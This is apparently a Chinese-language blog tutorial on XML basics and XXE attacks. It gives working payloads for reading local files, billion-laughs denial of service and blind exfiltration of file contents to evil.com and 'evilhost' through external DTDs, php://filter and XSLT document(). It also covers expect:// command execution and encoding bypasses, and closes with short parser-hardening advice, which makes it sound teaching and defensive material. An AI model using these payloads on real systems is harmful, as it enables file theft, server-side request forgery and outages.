XXE利用与防御

XML 简介

XML 即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

  • HTML 被设计用来显示数据
  • XML 被设计用来传输和存储数据

XML作用

数据分离

如果你需要在HTML文档中显示动态数据,那么每当数据改变时将花费大量的时间来编辑HTML
通过XML,数据能够存储在独立的XML文件中。这样你就可以专注于使用HTML进行布局和显示,并确保修改底层数据不再需要对HTML进行任何的改变。
通过使用几行JavaScript,你就可以读取一个外部XML文件,然后更新HTML中的数据内容。

简化数据共享

在真实的世界中,计算机系统和数据使用不兼容的格式来存储数据。
XML数据以纯文本格式进行存储,因此提供了一种独立于软件和硬件的数据存储方法。
这让创建不同应用程序可以共享的数据变得更加容易。

XML结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?xml version="1.0" encoding="ISO-8859-1"?>
<bookstore>
<book category="COOKING">
<title lang="en">Everyday Italian</title>
<author>Giada De Laurentiis</author>
<year>2005</year>
<price>30.00</price>
</book>
<book category="CHILDREN">
<title lang="en">Harry Potter</title>
<author>J K. Rowling</author>
<year>2005</year>
<price>29.99</price>
</book>
<book category="WEB">
<title lang="en">Learning XML</title>
<author>Erik T. Ray</author>
<year>2003</year>
<price>39.95</price>
</book>
</bookstore>

XML特性

  • 所有 XML 元素都须有关闭标签
  • 标签对大小写敏感
  • 必须正确地嵌套
  • 文档必须有根元素
  • XML的属性值须加引号
  • 实体引用,一些特殊字符(<>&'"需要转义)
  • 注释使用<!--xxx-->
  • 空格会被保留
  • 不同系统换行存储不一样(win\r\n*inx\n)
  • 元数据(有关数据的数据)应当存储为属性,而数据本身应当存储为元素

XSLT 是首选的XML样式表语言

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="simple.xsl"?>
<breakfast_menu>
<food>
<name>Belgian Waffles</name>
<price>$5.95</price>
<description>
two of our famous Belgian Waffles
</description>
<calories>650</calories>
</food>
</breakfast_menu>

XMLHttpRequest

XMLHttpRequest对象用于在后台与服务器交换数据,XMLHttpRequest:

  • 在不重新加载页面的情况下更新网页
  • 在页面已加载后从服务器请求数据
  • 在页面已加载后从服务器接收数据
  • 在后台向服务器发送数据

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
-----
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
!ELEMENT note (第三行)定义 note 元素有四个元素:"to、from、heading,、body"
!ELEMENT to (第四行)定义 to 元素为 "#PCDATA" 类型
!ELEMENT from (第五行)定义 from 元素为 "#PCDATA" 类型
!ELEMENT heading (第六行)定义 heading 元素为 "#PCDATA" 类型
!ELEMENT body (第七行)定义 body 元素为 "#PCDATA" 类型
<!ELEMENT note (to+,from*,heading?,body)>
+ 表示 此元素至少出现一次
* 表示 此元素出现0次或多次
? 表示 此元素出现0次或1

PCDATA(parsed character data)是会被解析器解析的文本。这些文本将被解析器检查实体以及标记

CDATA(character data)是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

DTD实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。
实体引用是对实体的引用。
实体可在内部或外部进行声明。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
内部实体:
-----
<!ENTITY 实体名称 "实体的值">
例子:
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
<author>&writer;&copyright;</author>
外部实体:
-----
<!ENTITY 实体名称 SYSTEM "URI/URL">
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<author>&writer;&copyright;</author>
参数实体:
-----
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。
公共实体:
-----
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名" “公用DTD的URI">
例子:
<?xml version="1.0″?>
<!DOCTYPE configuration PUBLIC “-//mybatis.org//DTD Config 3.0//EN"
“http://mybatis.org/dtd/mybatis-3-config.dtd">

XXE Attack

“XML External Entity attack” 即XXE XML外部实体攻击,举一个简单的例子:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY xee SYSTEM "file:///etc/passwd">
]>
<a>
&xee;
</a>

可以看到,我们的外部实体引用指向了系统passwd文件,在解析xml时会将敏感信息返回。

XXE利用

XXE读文件
1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY xee SYSTEM "file:///etc/passwd">
]>
<a>
&xee;
</a>

在外部实体引用是,不同的程序所支持URI协议是不一样的:

external-entity

和读文件一样,也可进行内网端口扫描,访问不同端口,观察返回信息或者banner内容进行鉴别。

拒绝服务
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这是一个著名的针对XML的billion laughs Dos攻击,其递归构造实体引用,其会产生3G左右的内存数据。

原理是:
构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

除了这种方式,还可以引用一个外部很大的xml文件,造成Dos攻击,如下:

1
2
3
4
5
<?xml version='1.0'?>
<!DOCTYPE data [
<!ENTITY dos SYSTEM "file:///publicServer.com/largeFile.xml" >
]>
<data>&dos;</data>
有回显情况
1
2
3
4
5
6
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

或者:

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://xxx.xxx.xxx/evil.dtd" >
%xxe;
]>
<foo>&evil;</foo>
-- 外部evil.dtd中的内容
<!ENTITY evil SYSTEMfile:///c:/windows/win.ini" >

simplexml_load_string()函数,用于转换形式良好的XML字符串为SimpleXMLElement对象,然后输出对象的键和元素.是有XXE漏洞的标志性函数。

这种XXE可以和SSRF相结合

blind XEE

没有回显,采用外带数据通道提取数据

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///c://test/1.txt">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.xml">
%dtd; %all;
]>
<value>&send;</value>
其中evil.xml内容:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://evil.com/%file;'>">

调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send,通过这种方式,将读取的文件通过触发访问的方式传到了所属的evil服务器。

使用php://filter

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=c:/test/1.txt">
<!ENTITY % dtd SYSTEM "http://evil.com/evil.xml">
%dtd;
%send;
]>
<root></root>
其中evil.xml文件内容为:
<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?content=%file;'>"> %payload;

关于php://filter的用法,可以参考这篇文章

1
2
3
4
5
6
7
php://filter是PHP语言中特有的协议流,作用是作为一个“中间流”来处理其他流
可以用如下一行代码将POST内容转换成base64编码并输出:
php://filter/read=convert.base64-encode/resource=php://input
将xee.php的内容bbase64编码输出:
php://filter/read=convert.base64-encode/resource=./xxe.php

利用其编码解码有时可以绕过一些保护。

执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
Content-Type修改

在目前的web服务当中,很多服务器与客户端都是使用json格式进行数据交换的,而有些服务器虽然用户提交的是jsontext格式,但其是可以解析xml格式内容的,这时候,通过修改HTTP头部Content-Type字段,有时可以构成XXE攻击。

假设正常通信数据包是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38
{"search":"name","value":"netspitest"}
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"id": "1"}

可以修改为xml:

1
2
3
4
5
6
7
8
9
10
11
12
HTTP Request:
POST /netspi HTTP/1.1
Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 112
<?xml version="1.0" encoding="UTF-8" ?>
<root>
<search>name</search>
<value>netspitest</value>
</root>

如果服务器相应为:

1
2
3
4
5
HTTP Response:
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43
{"error": "no results for name netspitest"}

这样就能确定很可能存在XXE漏洞,再按外部实体引用的方式去构造即可。

递归引用实体
1
2
3
4
5
<!DOCTYPE data [
<!ENTITY a "a&b;" >
<!ENTITY b "&a;" >
]>
<data>&a;</data>
编码转换

一些比较低级的黑名单可以通过修改xml编码的方式绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-7" ?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>
<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE data [
<!ELEMENT data (#PCDATA)>
<!ENTITY file SYSTEM "file:///sys/power/image_size">
]>
<data>&file;</data>

xml schema 实体攻击

XML Schema:称为可扩展标记语言架构,用来定义XM文档的合法构建模块,类似 DTD,Schema是DTD的替代者, 它比DTD可以做更多的事情。常见的xml schema attack分为:

  • schemaLocation
  • noNamespaceSchemaLocation
  • XInclude
  • XSLT 攻击
schemaLocation
1
2
3
4
5
6
7
8
9
<?xml version=’1.0?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<ttt:data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4</ttt:data>
noNamespaceSchemaLocation
1
2
3
4
5
6
7
8
<?xml version=’1.0?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;"></data>
XInclude
1
2
3
4
5
6
7
<?xml version="1.0″ encoding="utf-8?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://publicServer.com/external_entity_attribute.dtd">
%remote;
]>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://192.168.2.31/&internal;" parse="text"></xi:include></data>

其中属性值使用&internal;的方式可以学习

XSLT Attack

XML Out-Of-Band Data Retrieval,可以通过如下的方式先用document()获得目标主机的信息,然后使用concat()将数据与evil主机进行拼接,然后document()访问拼接后的地址,便可以在evil主机日志上获得信息。

1
2
3
4
5
6
<xsl:variable name="payload"
select="document('http://sensitive_host/',/)"/>
<xsl:variable name="combine"
select="concat("http://evilhost/",$payload)"/>
<xsl:variable name="result"
select="document($combine)"/>

防御

  • 禁用外部实体引用
  • 过滤用户提交的XML数据 (<!DOCTYPE<!ENTITY,或者SYSTEMPUBLIC等字段)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
禁用外部实体引用
php
-----
libxml_disable_entity_loader(true);
java
-----
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python
-----
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

参考文章:
web-in-security-xxe